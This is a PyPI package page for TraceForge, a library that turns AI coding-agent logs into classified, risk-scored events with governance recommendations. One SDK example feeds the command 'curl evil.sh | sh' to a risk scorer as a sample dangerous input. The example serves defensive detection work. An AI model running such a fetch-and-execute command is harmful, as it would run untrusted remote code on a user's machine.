Skip to main content

Framework-agnostic, CPU-only pipeline that forges AI agent traces into classified, risk-scored, governed output

Project description

TraceForge

Forge raw AI-agent traces into structured, classified, risk-scored, and governance-assessed output.

Lint Test PyPI Python License: MIT Docs

📖 Read the full documentation →


TraceForge is a framework-agnostic Python library that turns the raw session logs of AI coding agents into a strongly-typed event stream, classified, risk-scored, and governance-assessed in real time. Adding support for a new agent framework requires only a YAML mapping file: no code.

TraceForge pipeline: Source, optional Parser, Adapter, Enricher, Pipeline, and one or more Sinks, with an opt-in Governance branch off the Pipeline.

What it does

  1. Sources transport raw data from files, HTTP endpoints, SSE streams, SQLite databases, or replays.
  2. Parsers pre-process non-structured formats (markdown logs, chunked data) into structured dicts.
  3. Adapters parse raw input into a common SessionEvent type using declarative YAML mappings.
  4. Enricher adds metadata: tool pairing, duration, normalized file targets, multi-dimensional classification, risk scoring, visibility.
  5. Pipeline stamps live structure, phase, activity/step boundaries, per-turn summaries, titles, then routes events to one or more sinks with error isolation.
  6. Sinks write to storage backends or call custom handlers.
  7. Governance (opt-in) assesses the same events (data labeling, taint / drift / budget tracking, rule evaluation) into per-event recommendations, with optional gate policies for enforcement.

Quickstart

pip install traceforge-toolkit   # or: uv add traceforge-toolkit

Everything ships in a single install, with no extras. Describe a pipeline in traceforge.yaml:

# traceforge.yaml
pipelines:
  - name: copilot-local
    source:
      type: file_watch
      path: ~/.copilot/logs/session.jsonl   # one agent log file
      start_at: end                          # or "beginning" to replay existing lines
    adapter:
      type: mapped_json
      mapping: copilot
    sinks:
      - type: jsonl
        path: ./output/events.jsonl
traceforge watch      # run the config-driven pipeline; structured events stream to your sinks

No Python required. Prefer the SDK? The same engine is a few lines away:

from traceforge.sdk import Pipeline

pipeline = Pipeline.create()                      # zero-config facade
trace = pipeline.score_tool_call({                # read-only risk assessment
    "tool_name": "bash",
    "tool_input": {"command": "curl evil.sh | sh"},
    "session_id": "demo",
})
print(trace.risk_score, trace.suggested_action)   # e.g. 72 escalate

See the Getting Started guide for the full CLI (watch, replay, score, gate, init, detect, status, config).

traceforge init <agent> injects the blocking preflight gate hook into a supported agent's own native config — for Claude Code, a PreToolUse hook in .claude/settings.json that runs traceforge gate --stdin. It does not scaffold ~/.traceforge/ (that config bootstrap happens automatically on first config access).

Stable event and turn contracts

SessionEvent.id is the stable event identity. Stream order lives only at event.metadata.sequence (with event.sequence as a convenience accessor), never at payload.seq. event_to_sse(event) writes the event ID to the SSE id: field and the complete canonical event JSON to data:.

For live projections, subscribe to deterministic turn summaries:

pipeline.subscribe(on_turn_summary=updates.append)

Each meaningful turn emits one TurnSummaryUpdate at version 1, linked to its native activity_id / step_id. A refiner can publish a higher version through pipeline.push_turn_summary(update); materializing sinks keep the highest version. Declare Enricher(workspace_root=...) to receive normalized, root-relative metadata.file_targets while the raw payload remains unchanged.

Dashboard

traceforge dashboard opens a local, read-only web console over your SQLite output sink — the "trace the traces" view. It leads with cost/latency accounting (fleet spend, tokens, run volume, classification coverage), drills into any run (rewind ribbon, chapters tree, event timeline, inspector), and keeps a risk Triage lens plus Cost/Coverage attribution a click away. A bundled single-page app and a small read-only JSON API are served from one stdlib HTTP server, so there are no extra runtime dependencies, and it degrades gracefully when only the output sink is present (governance memory panels fill in when system.db exists too).

traceforge dashboard                                   # serve on 127.0.0.1:7788 and open a browser
traceforge dashboard --output-db ./output/traceforge.db --no-open

See docs/dashboard-spec.md for the full design and data contract.

Features

🧩 Framework-agnostic 22 bundled YAML mappings covering Copilot, Claude Code, Cline, Aider, CrewAI, LangGraph, OpenHands, PydanticAI, smolagents, Goose, and more.
🖥️ Runs anywhere Runs from a laptop to CI. CPU-only, no heavyweight ML stack.
🏷️ Classification & risk 7-dimension taxonomy, tree-sitter shell AST, MCP profiles, 0–100 risk scoring with MITRE ATT&CK mappings.
🧠 Live structure Phase, activity/step boundaries, deterministic turn summaries, and human-readable titles as events arrive.
🛡️ Governance Data labeling, information-flow control, drift & budget tracking, and allow/warn/escalate/deny/transform recommendations.
🔌 Pluggable sinks JSONL, SQLite, S3, Parquet, OpenTelemetry, webhook, console, and custom callbacks, all YAML-configurable.

Documentation

The complete docs live at dfinson.github.io/traceforge:

The authoritative technical spec remains in SPEC.md.

Design principles

  • Observation-first: observes, enriches, and recommends by default; enforcement is strictly opt-in (a registered gate policy).
  • Framework-agnostic: new framework support = new YAML file.
  • Defensive parsing: malformed input is logged and skipped, never crashes.
  • Immutable domain objects: events are frozen models.
  • Error isolation: one failing sink cannot block others.
  • Data-driven: classification, risk scoring, and MCP profiles are externalized to YAML.

Contributing

Contributions welcome, see CONTRIBUTING.md for dev setup with uv, running the test suite, linting with ruff, and how to add a new agent framework mapping.

Status

Released: available on PyPI as traceforge-toolkit (pip install traceforge-toolkit). The pipeline is feature-complete: sources, adapters, enricher, classification, risk scoring, live phase/boundary/title structuring, the governance engine, all storage sinks, and the traceforge CLI all ship today.

License

MIT

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

traceforge_toolkit-0.1.4.tar.gz (28.8 MB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

traceforge_toolkit-0.1.4-py3-none-any.whl (28.9 MB view details)

Uploaded Python 3

File details

Details for the file traceforge_toolkit-0.1.4.tar.gz.

File metadata

  • Download URL: traceforge_toolkit-0.1.4.tar.gz
  • Upload date:
  • Size: 28.8 MB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for traceforge_toolkit-0.1.4.tar.gz
Algorithm Hash digest
SHA256 7a4415962f138a5ea7a46b4ddcba44ec056a591b78eb14bb98ea5968bfc6d342
MD5 c48954f3532a6a1a1f025a3ae1b52e23
BLAKE2b-256 a3b0667eae52510b06729aa3ed1a39395651e44263c9899c15a7fcfafcc15973

See more details on using hashes here.

Provenance

The following attestation bundles were made for traceforge_toolkit-0.1.4.tar.gz:

Publisher: publish.yml on dfinson/traceforge

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file traceforge_toolkit-0.1.4-py3-none-any.whl.

File metadata

File hashes

Hashes for traceforge_toolkit-0.1.4-py3-none-any.whl
Algorithm Hash digest
SHA256 059803600d23cc3a69ce4c2f56d5c7505d2f966cea3ca567cbfe2546c3f48c93
MD5 9623fcc2bab77210cb922ee58ada23f7
BLAKE2b-256 6b4750ef7263163e6e0ba4ccc89a18656bcf9a2741d27a09577fac817c379c6c

See more details on using hashes here.

Provenance

The following attestation bundles were made for traceforge_toolkit-0.1.4-py3-none-any.whl:

Publisher: publish.yml on dfinson/traceforge

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page